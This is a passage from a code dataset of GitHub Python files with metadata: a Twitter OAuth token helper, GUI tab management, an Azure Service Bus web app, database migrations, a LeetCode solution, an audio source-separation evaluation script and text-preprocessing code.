"usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 90, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 90, "usage_type": "call"}, {"api_name": "joblib.cpu_count", "line_number": 92, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 118, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 144, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 152, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 166, "usage_type": "call"}, {"api_name": "cProfile.Profile", "line_number": 177, "usage_type": "call"}]} {"seq_id": "34847994189", "text": "import sys\nimport time\nimport ReadandWrite\n\nimport tweepy\n\n# Auth tokens. The First Index in file is for key, 2nd is for secret.\nReadandWrite.check_ck_file()\nconsumer_stuff = ReadandWrite.get_consumer_keys()\nconsumer_key = consumer_stuff[1]\nconsumer_secret = consumer_stuff[2]\nif not consumer_key.find('Replace') & consumer_secret.find('Replace'):\n sys.exit(\"Please read \" + ReadandWrite.cKeys + \" and follow instructions.\")\n time.sleep(5)\n# Start session by logging into handler Dev account.\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n\n# Request access to account via Twitter OAUTH. User must sign in and give shown verification code to continue.\ntry:\n redirect_url = auth.get_authorization_url()\n print(redirect_url)\nexcept tweepy.TweepyException:\n sys.exit('Error! Failed to get request token. Ensure the file is written to!')\n time.sleep(5)\n\nprint(\"Follow the link and sign in. Once signed in, copy and paste the code given below.\\n\")\ntry:\n verifier = input('Input Digit Code given by Twitter below\\n')\n auth.get_access_token(verifier)\nexcept tweepy.TweepyException:\n sys.exit('Verification error. Please try again and ensure Twitter code is correct. Exiting...')\n time.sleep(5)\n\nprint(\"\\nTake a screenshot now. If you miss it, run the program again, there is no harm in it.\\n\")\nReadandWrite.write_token(auth.access_token, auth.access_token_secret)\nprint(auth.access_token)\nprint(auth.access_token_secret)\ntime.sleep(10)\n", "repo_name": "RuneyR/TwitterAccessTokenGet", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1470, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "ReadandWrite.check_ck_file", "line_number": 8, "usage_type": "call"}, {"api_name": "ReadandWrite.get_consumer_keys", "line_number": 9, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 13, "usage_type": "call"}, {"api_name": "ReadandWrite.cKeys", "line_number": 13, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 14, "usage_type": "call"}, {"api_name": "tweepy.OAuthHandler", "line_number": 16, "usage_type": "call"}, {"api_name": "tweepy.TweepyException", "line_number": 22, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 23, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 24, "usage_type": "call"}, {"api_name": "tweepy.TweepyException", "line_number": 30, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 31, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 32, "usage_type": "call"}, {"api_name": "ReadandWrite.write_token", "line_number": 35, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 38, "usage_type": "call"}]} {"seq_id": "28100080761", "text": "from pathlib import Path\nfrom typing import Callable\n\nimport PySide6.QtCore as Qc\nimport PySide6.QtWidgets as Qw\nfrom PySide6.QtCore import Slot\nfrom logzero import logger\n\nimport pcleaner.config as cfg\nimport pcleaner.gui.image_details_driver as idd\nimport pcleaner.gui.image_file as imf\nimport pcleaner.gui.structures as st\n\n\n# noinspection PyPep8Naming\nclass ImageTab(Qw.QTabWidget):\n \"\"\"\n Manage the static tab for the file table and the dynamic tabs showing the image\n previews/outputs.\n \"\"\"\n\n # Currently open dynamic tabs: path -> (image structure, tab's widget)\n open_images: dict[Path, tuple[imf.ImageFile, Qw.QWidget]]\n\n def __init__(self, parent=None):\n Qw.QTabWidget.__init__(self, parent)\n self.setAcceptDrops(True)\n\n self.open_images = {}\n\n self.tabCloseRequested.connect(self.tab_close)\n\n @Slot(imf.ImageFile)\n def open_image(\n self,\n image_obj: imf.ImageFile,\n config: cfg.Config,\n shared_ocr_model: st.Shared[st.OCRModel],\n thread_queue: Qc.QThreadPool,\n progress_callback: Callable[[imf.ProgressData], None],\n profile_changed_signal: Qc.Signal,\n ):\n \"\"\"\n Check if the image is already open, in which case show it.\n Otherwise create a new tab.\n\n :param image_obj: Image object to open.\n :param config: The config object.\n :param shared_ocr_model: The shared OCR model.\n :param thread_queue: The thread queue for processing steps.\n :param progress_callback: The callback to call when a step is done.\n :param profile_changed_signal: The signal that is broadcast when the profile is changed.\n \"\"\"\n if image_obj.path in self.open_images:\n self.setCurrentWidget(self.open_images[image_obj.path][1])\n return\n\n # Create the tab.\n tab = idd.ImageDetailsWidget(\n image_obj=image_obj,\n config=config,\n shared_ocr_model=shared_ocr_model,\n thread_queue=thread_queue,\n progress_callback=progress_callback,\n profile_changed_signal=profile_changed_signal,\n )\n self.addTab(tab, image_obj.path.name)\n self.open_images[image_obj.path] = (image_obj, tab)\n self.setCurrentWidget(tab)\n\n @Slot(int)\n def tab_close(self, index: int):\n \"\"\"\n Close the image details tab.\n\n :param index: The index of the tab to close.\n \"\"\"\n # Make sure the index is not the primary tab.\n if index == 0:\n logger.warning(\"Attempted to close the primary tab.\")\n return\n logger.debug(f\"Closing tab at index {index}.\")\n # The tab we're closing must be an image details tab.\n # noinspection PyTypeChecker\n widget_to_close: idd.ImageDetailsWidget = self.widget(index)\n path = widget_to_close.image_obj.path\n self.open_images.pop(path)\n self.removeTab(index)\n\n def clear_files(self):\n \"\"\"\n Clear all files from the table, removing all tabs except the primary tab.\n \"\"\"\n self.open_images.clear()\n for i in range(self.count() - 1, 0, -1):\n self.removeTab(i)\n", "repo_name": "VoxelCubes/PanelCleaner", "sub_path": "pcleaner/gui/image_tab.py", "file_name": "image_tab.py", "file_ext": "py", "file_size_in_byte": 3205, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 80, "dataset": "github-code", "pt": "7", "api": [{"api_name": "PySide6.QtWidgets.QTabWidget", "line_number": 16, "usage_type": "attribute"}, {"api_name": "PySide6.QtWidgets", "line_number": 16, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 23, "usage_type": "name"}, {"api_name": "pcleaner.gui.image_file.ImageFile", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pcleaner.gui.image_file", "line_number": 23, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QWidget", "line_number": 23, "usage_type": "attribute"}, {"api_name": "PySide6.QtWidgets", "line_number": 23, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QTabWidget.__init__", "line_number": 26, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QTabWidget", "line_number": 26, "usage_type": "attribute"}, {"api_name": "PySide6.QtWidgets", "line_number": 26, "usage_type": "name"}, {"api_name": "pcleaner.gui.image_file.ImageFile", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pcleaner.gui.image_file", "line_number": 36, "usage_type": "name"}, {"api_name": "pcleaner.config.Config", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pcleaner.config", "line_number": 37, "usage_type": "name"}, {"api_name": "pcleaner.gui.structures.Shared", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pcleaner.gui.structures", "line_number": 38, "usage_type": "name"}, {"api_name": "pcleaner.gui.structures.OCRModel", "line_number": 38, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore.QThreadPool", "line_number": 39, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 40, "usage_type": "name"}, {"api_name": "pcleaner.gui.image_file.ProgressData", "line_number": 40, "usage_type": "attribute"}, {"api_name": "pcleaner.gui.image_file", "line_number": 40, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Signal", "line_number": 41, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 41, "usage_type": "name"}, {"api_name": "pcleaner.gui.image_details_driver.ImageDetailsWidget", "line_number": 59, "usage_type": "call"}, {"api_name": "pcleaner.gui.image_details_driver", "line_number": 59, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Slot", "line_number": 33, "usage_type": "call"}, {"api_name": "pcleaner.gui.image_file.ImageFile", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pcleaner.gui.image_file", "line_number": 33, "usage_type": "name"}, {"api_name": "logzero.logger.warning", "line_number": 80, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 80, "usage_type": "name"}, {"api_name": "logzero.logger.debug", "line_number": 82, "usage_type": "call"}, {"api_name": "logzero.logger", "line_number": 82, "usage_type": "name"}, {"api_name": "pcleaner.gui.image_details_driver.ImageDetailsWidget", "line_number": 85, "usage_type": "attribute"}, {"api_name": "pcleaner.gui.image_details_driver", "line_number": 85, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Slot", "line_number": 71, "usage_type": "call"}]} {"seq_id": "5130595878", "text": "__author__ = \"tejpratap\"\n\nimport asyncio\n\nfrom quart import Quart\nimport os\nfrom azure.servicebus import ServiceBusMessage\nfrom azure.servicebus.aio import ServiceBusClient\nimport time\nfrom datetime import datetime\nimport threading\n\nconn_string = os.environ.get(\"AZURE_SERVICE_BUS_CONNECTION_STRING\")\nqueue_name = os.environ[\"SERVICE_BUS_QUEUE_NAME\"]\n\napp = Quart(__name__)\n\n\nclass AzureServiceBusClient:\n def __init__(self):\n self.client = ServiceBusClient.from_connection_string(conn_string)\n\n thread = threading.Thread(\n target=self._callback,\n name=\"azure_service_bus_thread\",\n )\n thread.setDaemon(True)\n thread.start()\n\n def _callback(self):\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n\n loop.run_until_complete(self._process_data_events())\n loop.close()\n\n async def _process_data_events(self):\n\n async with self.client.get_queue_receiver(queue_name) as receiver:\n received_msgs = await receiver.receive_messages(\n max_message_count=10, max_wait_time=5\n ) # receive 10 messages at one time\n print(\"start receive message\")\n for msg in received_msgs:\n\n print(str(msg))\n await receiver.complete_message(msg)\n\n # receive continuous messages using the secondary thread along with running flask\n print(f\"receiver thread {threading.current_thread()}\")\n print(\"msg received successfully\")\n\n await asyncio.sleep(0.2) # wait for 0.2 seconds ans restart receiving\n await self._process_data_events()\n\n async def send_message(self, msg):\n\n async with self.client.get_queue_sender(queue_name) as sender:\n await sender.send_messages(\n ServiceBusMessage(f\"{msg} send on {datetime.now()}\")\n )\n print(\"Send message is done.\")\n print(\n f\"sender thread {threading.current_thread()}\"\n ) # send message using the main thread\n\n\n@app.route(\"/send_msg/\")\nasync def send_message(msg):\n asyncio.create_task(\n service_bus_client.send_message(msg)\n ) # return response without waiting for send message\n return f\" {msg} is successfully sent\"\n\n\n@app.route(\"/\")\nasync def welcome():\n return \"\"\"

Welcome to flask server

\"\"\"\n\n\nif __name__ == \"__main__\":\n service_bus_client = AzureServiceBusClient()\n\n print(threading.enumerate())\n print(threading.active_count()) # two threads are running\n print(threading.current_thread()) # see current main thread flask server\n\n app.run(port=5002)\n", "repo_name": "tejpratap545/flask-parallel-multithreading-processes", "sub_path": "quart_azure_service_bus_async.py", "file_name": "quart_azure_service_bus_async.py", "file_ext": "py", "file_size_in_byte": 2673, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.environ.get", "line_number": 13, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 14, "usage_type": "attribute"}, {"api_name": "quart.Quart", "line_number": 16, "usage_type": "call"}, {"api_name": "azure.servicebus.aio.ServiceBusClient.from_connection_string", "line_number": 21, "usage_type": "call"}, {"api_name": "azure.servicebus.aio.ServiceBusClient", "line_number": 21, "usage_type": "name"}, {"api_name": "threading.Thread", "line_number": 23, "usage_type": "call"}, {"api_name": "asyncio.new_event_loop", "line_number": 31, "usage_type": "call"}, {"api_name": "asyncio.set_event_loop", "line_number": 32, "usage_type": "call"}, {"api_name": "threading.current_thread", "line_number": 50, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 53, "usage_type": "call"}, {"api_name": "azure.servicebus.ServiceBusMessage", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 60, "usage_type": "name"}, {"api_name": "threading.current_thread", "line_number": 64, "usage_type": "call"}, {"api_name": "asyncio.create_task", "line_number": 70, "usage_type": "call"}, {"api_name": "threading.enumerate", "line_number": 84, "usage_type": "call"}, {"api_name": "threading.active_count", "line_number": 85, "usage_type": "call"}, {"api_name": "threading.current_thread", "line_number": 86, "usage_type": "call"}]} {"seq_id": "20588277380", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('record', '0002_auto_20150715_1240'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='record',\n name='memory_used',\n field=models.FloatField(default=0, verbose_name='\\u6240\\u7528\\u5185\\u5b58'),\n ),\n ]\n", "repo_name": "doraemonext/DEOnlineJudge", "sub_path": "app/record/migrations/0003_auto_20150715_1244.py", "file_name": "0003_auto_20150715_1244.py", "file_ext": "py", "file_size_in_byte": 444, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.FloatField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}]} {"seq_id": "72685438304", "text": "from typing import List, Optional\nfrom ..ListNodeModule import ListNode\n\n\nclass Solution:\n def mergeKLists(self, lists: List[Optional[ListNode]]) -> Optional[ListNode]:\n \"\"\"\n https://leetcode.com/problems/merge-k-sorted-lists/solutions/3286803/python3-and-c-95-ms-beats-95-60-and-easy/\n \"\"\"\n values = []\n for head in lists:\n while head:\n values.append(head.val)\n head = head.next\n\n values.sort()\n dummy_head = ListNode(None)\n node = dummy_head\n for val in values:\n node.next = ListNode(val)\n node = node.next\n return dummy_head.next\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Python3/LinkedList/MergeKSortedLists/Naive2_023.py", "file_name": "Naive2_023.py", "file_ext": "py", "file_size_in_byte": 669, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 6, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 6, "usage_type": "name"}, {"api_name": "ListNodeModule.ListNode", "line_number": 6, "usage_type": "name"}, {"api_name": "ListNodeModule.ListNode", "line_number": 17, "usage_type": "call"}, {"api_name": "ListNodeModule.ListNode", "line_number": 20, "usage_type": "call"}]} {"seq_id": "41077143885", "text": "\"\"\"empty message\n\nRevision ID: 54b5bbe794e5\nRevises: cf82455d500c\nCreate Date: 2022-06-04 07:31:06.372699\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '54b5bbe794e5'\ndown_revision = 'cf82455d500c'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('workflows_workspaces', 'created_at',\n existing_type=mysql.DATETIME(),\n nullable=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('workflows_workspaces', 'created_at',\n existing_type=mysql.DATETIME(),\n nullable=False)\n # ### end Alembic commands ###", "repo_name": "talha927/cloud-ibm-test", "sub_path": "migrations/versions/54b5bbe794e5_.py", "file_name": "54b5bbe794e5_.py", "file_ext": "py", "file_size_in_byte": 803, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "alembic.op.alter_column", "line_number": 19, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 19, "usage_type": "name"}, {"api_name": "sqlalchemy.dialects.mysql.DATETIME", "line_number": 20, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql", "line_number": 20, "usage_type": "name"}, {"api_name": "alembic.op.alter_column", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}, {"api_name": "sqlalchemy.dialects.mysql.DATETIME", "line_number": 28, "usage_type": "call"}, {"api_name": "sqlalchemy.dialects.mysql", "line_number": 28, "usage_type": "name"}]} {"seq_id": "2442605163", "text": "import os\nimport shutil\nimport numpy as np\nimport tensorflow as tf\n\nfrom model import Model\nfrom config import EvalConfig\nfrom data_helper import get_files, get_wavs, to_stft, to_mag, get_phase, to_wav, save_wav\nfrom mir_eval.separation import bss_eval_sources\n\ndef eval():\n model = Model(hidden_size=EvalConfig.HIDDEN_SIZE)\n \n sess = tf.Session(config=EvalConfig.session_conf)\n sess.run(tf.global_variables_initializer())\n \n ckpt = tf.train.get_checkpoint_state(EvalConfig.CKPT_PATH)\n if ckpt and ckpt.model_checkpoint_path:\n tf.train.Saver().restore(sess, ckpt.model_checkpoint_path)\n \n all_files = get_files(EvalConfig.EVAL_PATH)\n \n gnsdr = np.zeros(2)\n gsir = np.zeros(2)\n gsar = np.zeros(2)\n total_len = 0\n \n for i, wav_file in enumerate(all_files):\n print('Eval on file {}/{}, {}'.format(i+1, len(all_files), wav_file))\n mixed_wav, src1_wav, src2_wav = get_wavs(wav_file)\n \n # prepare data\n mixed_spec = to_stft(mixed_wav)\n mixed_mag = to_mag(mixed_spec)\n mixed_phase = get_phase(mixed_spec)\n \n src1_spec = to_stft(src1_wav)\n src1_phase = get_phase(src1_spec)\n \n src2_spec = to_stft(src2_wav)\n src2_phase = get_phase(src2_spec)\n \n mixed_batch = mixed_mag.T\n \n # separate wav\n feed_dict = {\n model.x_mixed: mixed_batch,\n model.keep_prob: 1.0\n }\n \n pred_src1_batch, pred_src2_batch = model.predict(sess, feed_dict)\n \n # transfer to wav\n pred_src1_mag = pred_src1_batch.T\n pred_src2_mag = pred_src2_batch.T\n \n pred_src1_wav = to_wav(pred_src1_mag, mixed_phase)\n pred_src2_wav = to_wav(pred_src2_mag, mixed_phase)\n \n if EvalConfig.SAVE_FILE:\n wav_file_name = wav_file.split('/')[-1].split('.')[0]\n original_path = os.path.join(EvalConfig.RESULT_PATH, wav_file_name + '_original.wav')\n music_path = os.path.join(EvalConfig.RESULT_PATH, wav_file_name + '_music.wav')\n vocal_path = os.path.join(EvalConfig.RESULT_PATH, wav_file_name + '_vocal.wav')\n save_wav(mixed_wav, original_path)\n save_wav(pred_src1_wav, music_path)\n save_wav(pred_src2_wav, vocal_path)\n \n # BSS_EVAL\n wav_len = mixed_wav.shape[-1]\n sdr, sir, sar, _ = bss_eval_sources(np.array([src1_wav, src2_wav]),\n np.array([pred_src1_wav, pred_src2_wav]), False)\n sdr_mixed, _, _, _ = bss_eval_sources(np.array([src1_wav, src2_wav]),\n np.array([mixed_wav, mixed_wav]), False)\n \n nsdr = sdr - sdr_mixed\n gnsdr += wav_len * nsdr\n gsir += wav_len * sir\n gsar += wav_len * sar\n total_len += wav_len\n\n gnsdr = gnsdr / total_len\n gsir = gsir / total_len\n gsar = gsar / total_len\n # Write the score of BSS metrics\n print('GNSDR_music={}'.format(gnsdr[0]))\n print('GSIR_music={}'.format(gsir[0]))\n print('GSAR_music={}'.format(gsar[0]))\n print('GNSDR_vocal={}'.format(gnsdr[1]))\n print('GSIR_vocal={}'.format(gsir[1]))\n print('GSAR_vocal={}'.format(gsar[1]))\n \n\ndef setup_path():\n if not os.path.exists(EvalConfig.RESULT_PATH):\n os.makedirs(EvalConfig.RESULT_PATH)\n\n \nif __name__ == '__main__':\n setup_path()\n eval()\n\n", "repo_name": "ShengleiH/singing-voice-separation", "sub_path": "DNN/eval.py", "file_name": "eval.py", "file_ext": "py", "file_size_in_byte": 3478, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "7", "api": [{"api_name": "model.Model", "line_number": 12, "usage_type": "call"}, {"api_name": "config.EvalConfig.HIDDEN_SIZE", "line_number": 12, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 12, "usage_type": "name"}, {"api_name": "tensorflow.Session", "line_number": 14, "usage_type": "call"}, {"api_name": "config.EvalConfig.session_conf", "line_number": 14, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 14, "usage_type": "name"}, {"api_name": "tensorflow.global_variables_initializer", "line_number": 15, "usage_type": "call"}, {"api_name": "tensorflow.train.get_checkpoint_state", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 17, "usage_type": "attribute"}, {"api_name": "config.EvalConfig.CKPT_PATH", "line_number": 17, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 17, "usage_type": "name"}, {"api_name": "tensorflow.train.Saver", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.train", "line_number": 19, "usage_type": "attribute"}, {"api_name": "data_helper.get_files", "line_number": 21, "usage_type": "call"}, {"api_name": "config.EvalConfig.EVAL_PATH", "line_number": 21, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 21, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 24, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 25, "usage_type": "call"}, {"api_name": "data_helper.get_wavs", "line_number": 30, "usage_type": "call"}, {"api_name": "data_helper.to_stft", "line_number": 33, "usage_type": "call"}, {"api_name": "data_helper.to_mag", "line_number": 34, "usage_type": "call"}, {"api_name": "data_helper.get_phase", "line_number": 35, "usage_type": "call"}, {"api_name": "data_helper.to_stft", "line_number": 37, "usage_type": "call"}, {"api_name": "data_helper.get_phase", "line_number": 38, "usage_type": "call"}, {"api_name": "data_helper.to_stft", "line_number": 40, "usage_type": "call"}, {"api_name": "data_helper.get_phase", "line_number": 41, "usage_type": "call"}, {"api_name": "model.x_mixed", "line_number": 47, "usage_type": "attribute"}, {"api_name": "model.keep_prob", "line_number": 48, "usage_type": "attribute"}, {"api_name": "model.predict", "line_number": 51, "usage_type": "call"}, {"api_name": "data_helper.to_wav", "line_number": 57, "usage_type": "call"}, {"api_name": "data_helper.to_wav", "line_number": 58, "usage_type": "call"}, {"api_name": "config.EvalConfig.SAVE_FILE", "line_number": 60, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 60, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "config.EvalConfig.RESULT_PATH", "line_number": 62, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 62, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path", "line_number": 63, "usage_type": "attribute"}, {"api_name": "config.EvalConfig.RESULT_PATH", "line_number": 63, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 63, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "config.EvalConfig.RESULT_PATH", "line_number": 64, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 64, "usage_type": "name"}, {"api_name": "data_helper.save_wav", "line_number": 65, "usage_type": "call"}, {"api_name": "data_helper.save_wav", "line_number": 66, "usage_type": "call"}, {"api_name": "data_helper.save_wav", "line_number": 67, "usage_type": "call"}, {"api_name": "mir_eval.separation.bss_eval_sources", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 72, "usage_type": "call"}, {"api_name": "mir_eval.separation.bss_eval_sources", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "config.EvalConfig.RESULT_PATH", "line_number": 95, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 95, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 96, "usage_type": "call"}, {"api_name": "config.EvalConfig.RESULT_PATH", "line_number": 96, "usage_type": "attribute"}, {"api_name": "config.EvalConfig", "line_number": 96, "usage_type": "name"}]} {"seq_id": "40577309460", "text": "# coding: utf-8\n\"\"\"Converts symbol csv to indexed one \"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport os\nimport sys, collections\nimport tarfile\nimport os.path\nfrom os import listdir\nfrom os.path import isfile, join\nimport json, pickle\nimport re, bz2, random, csv\nimport nltk.data, csv\nfrom tqdm import tqdm\nsent_detector = nltk.data.load('tokenizers/punkt/english.pickle')\nfrom nltk.corpus import wordnet\nimport numpy as np\nfrom itertools import chain\nfrom nltk.corpus import brown\nfrom nltk.tokenize import RegexpTokenizer\ntokenizer = RegexpTokenizer(r'\\w+')\n\ndef make_synonyms(word):\n synonyms = wordnet.synsets(word)\n seq = chain.from_iterable([word.lemma_names() for word in synonyms])\n seen = set()\n seen_add = seen.add\n lemmas = [x for x in seq if not (x in seen or seen_add(x))]\n return lemmas\n\ndef remove_punct(sent):\n lsent = tokenizer.tokenize(sent)\n return \" \".join(lsent)\n\ndef load_vocab_char():\n #mean padding, BOS, EOS, and OOV and \n vocab = u'''␀␂␃⁇N abcdefghijklmnopqrstuvwxyz'''\n char2idx = {char: idx for idx, char in enumerate(vocab)}\n idx2char = {idx: char for idx, char in enumerate(vocab)}\n return char2idx, idx2char\n\ndef load_vocab_word(word_tags):\n #mean padding, BOS, EOS, and OOV\n with open(\"vocabulary0703.pickle\", \"rb\") as f:\n vocabulary = pickle.load(f)\n # pad BOS EOS OOV\n word_vocab = [] #['\\xe2\\x90\\x80', '\\xe2\\x90\\x82', '\\xe2\\x90\\x83', '\\xe2\\x81\\x87', '']#[u'␀',u'␂',u'␃', u'⁇']\n # threshold = 80 vocab size = 29861\n threshold = 390 # vocab size = 12987\n for word in vocabulary.keys():\n if vocabulary[word] > threshold:\n if word.isdigit(): continue\n if word in word_tags and word_tags[word]=='CD': continue\n if word:\n word_vocab.append(word.lower())\n word_vocab = [u'␀',u'␂',u'␃', u'⁇', ''] + list(set(word_vocab))\n print(len(word_vocab))\n word2idx = {word: idx for idx, word in enumerate(word_vocab)}\n idx2word = {idx: word for idx, word in enumerate(word_vocab)}\n with open(\"word_vocab0703.pickle\",'wb') as f:\n pickle.dump(word_vocab, f)\n return word2idx, idx2word\n\ndef convert_sents_toind_char(sents,maxlen, char2idx, word2idx, word_tags): \n par, Sources = [], []\n numeric = []\n digits = set('0123456789')\n unic = {'\\xe2\\x90\\x80', '\\xe2\\x90\\x82', '\\xe2\\x90\\x83', '\\xe2\\x81\\x87'}\n unic_dict = {'\\xe2\\x90\\x80':u'␀', '\\xe2\\x90\\x82':u'␂', '\\xe2\\x90\\x83':u'␃', '\\xe2\\x81\\x87':u'⁇'}\n for i, source_sent in enumerate(sents):\n source_sent = remove_punct(source_sent)\n init_sent = source_sent.split()\n sent_list = source_sent.split()\n for ind in range(len(sent_list)):\n if sent_list[ind].isdigit() or (sent_list[ind] in word_tags and word_tags[sent_list[ind]]=='CD'): \n sent_list[ind] = \"N\" #unic_dict[sent_list[ind]]\n continue\n\n if set(sent_list[ind]) & digits:\n lemmas = make_synonyms(sent_list[ind])\n for wrd in lemmas:\n if wrd in word_tags and word_tags[wrd] in {'OD', 'CD', 'NN'} :\n sent_list[ind] = wrd\n break\n if not set(sent_list[ind]) & digits: continue \n\n if sent_list[ind] in word2idx and set(sent_list[ind]) & digits:\n word = re.sub(r\"[^a-z]\", \"\", sent_list[ind])\n if word in word2idx and word not in {'k', 'x', 'b'}:\n sent_list[ind] = word\n continue\n elif word == 'ww':\n sent_list[ind] = 'war'\n continue\n\n sent_list[ind] = \"N\"\n continue\n\n if sent_list[ind] not in word2idx:\n sent_list[ind] = u'⁇'\n\n\n source_sent = \" \".join(sent_list)\n source_sent=re.sub(r\"[^a-z]\", \" \", source_sent)\n x = [char2idx[char] for char in source_sent] # 3: OOV\n if len(x) > maxlen-2: \n for ind in range(len(init_sent)):\n if set(init_sent[ind]) & digits:\n if len(init_sent[ind]) < len(sent_list[ind]):\n sent_list[ind] = \"N\"\n\n source_sent = \" \".join(sent_list)\n x = [char2idx[char] for char in source_sent] # 3: OOV\n if len(x) > maxlen-2: \n print(len(x))\n x = x[:maxlen-2]\n\n x = [1]+x+[2]\n if len(x) < maxlen:\n x += [0] * (maxlen - len(x)) # zero postpadding\n \n Sources.append(source_sent) \n par.append(x)\n numeric.append(\" \".join(map(str,x)))\n\n return par, Sources, numeric\n\ndef convert_sents_toind_word(sents,maxlen, word2idx, word_tags): \n par, Sources = [], []\n numeric = []\n for i, source_sent in enumerate(sents):\n source_sent = remove_punct(source_sent)\n sent_list = source_sent.split()\n for ind in range(len(sent_list)):\n if sent_list[ind].isdigit() or (sent_list[ind] in word_tags and 